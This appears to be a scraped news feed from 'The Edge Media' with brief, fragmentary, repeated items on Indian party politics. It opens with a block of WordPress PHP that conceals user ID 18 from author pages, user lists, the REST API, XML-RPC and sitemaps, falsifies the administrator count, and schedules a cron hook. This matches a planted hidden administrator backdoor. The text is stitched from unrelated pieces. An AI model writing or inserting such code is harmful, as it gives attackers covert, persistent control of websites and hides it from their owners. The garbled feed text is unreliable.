add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post AAP Party Leader Slams BJP For Delaying Civic Body Elections appeared first on The Edge Media.
]]>Sisodia also chastised the BJP for ‘misusing’ government agencies, saying that the party had utilized the Enforcement Directorate and the Central Bureau of Investigation to ‘intimidate MCD (Municipal Corporation of Delhi) personnel so that the civic polls may be postponed.’
The BJP criticized Arvind Kejriwal for ‘starving local bodies’ of finances on Friday. Aadesh Gupta, the Delhi unit chairman, and Smriti Irani, a federal minister, alleged the Kejriwal government owed civic entities in the centre of the country $13,000 crore. “Kejriwal is depriving local bodies of finances, which is undermining democracy at the roots,” Smriti Irani remarked.
The post AAP Party Leader Slams BJP For Delaying Civic Body Elections appeared first on The Edge Media.
]]>The post Smriti Irani Slams Rahul Gandhi’s Remark that the Modi Government is “Selling India,” Claiming that “This Man’s Politics Begins with Hypocrisy.” appeared first on The Edge Media.
]]>Smriti Irani, a Union minister, said Congressman Rahul Gandhi, who had earlier targeted the government at a press conference, is “upset” that India will make Rs 6 lakh crore and is attempting to tarnish the Centre’s image for working to fill state coffers transparently while keeping them safe from the opposition party’s “robbers.”
The post Smriti Irani Slams Rahul Gandhi’s Remark that the Modi Government is “Selling India,” Claiming that “This Man’s Politics Begins with Hypocrisy.” appeared first on The Edge Media.
]]>The post Congress urges twitter to suspend the accounts of BJP leaders who knowingly spread misinformation appeared first on The Edge Media.
]]>The letter also mentioned that earlier a police complaint was filed by The Indian National Congress before the Commissioner of Police of New Delhi. In the letter, they have also accused BJP of running a hate campaign deliberately.
They have also requested twitter to carry out a detailed probe on the subject matter and suspend those accounts. They have mentioned that these people are habitual of manufacturing forged content. They have highlighted Twitter’s policy and rules seeking to discourage deceptive, synthetic and manipulated media that is likely to cause harm.
Our letter to Twitter HQs on the permanent suspension of accounts by BJP leaders – Shri JP Nadda, Shri Sambit Patra, Shri BL Santosh & Smt. Smriti Irani – who knowingly spread misinformation to distract from their own failures. pic.twitter.com/LhsxY9iXFY
— Congress (@INCIndia) May 20, 2021
The post Congress urges twitter to suspend the accounts of BJP leaders who knowingly spread misinformation appeared first on The Edge Media.
]]>The post International shooter accuses Smriti Irani of corruption, filing complaint appeared first on The Edge Media.
]]>The post International shooter accuses Smriti Irani of corruption, filing complaint appeared first on The Edge Media.
]]>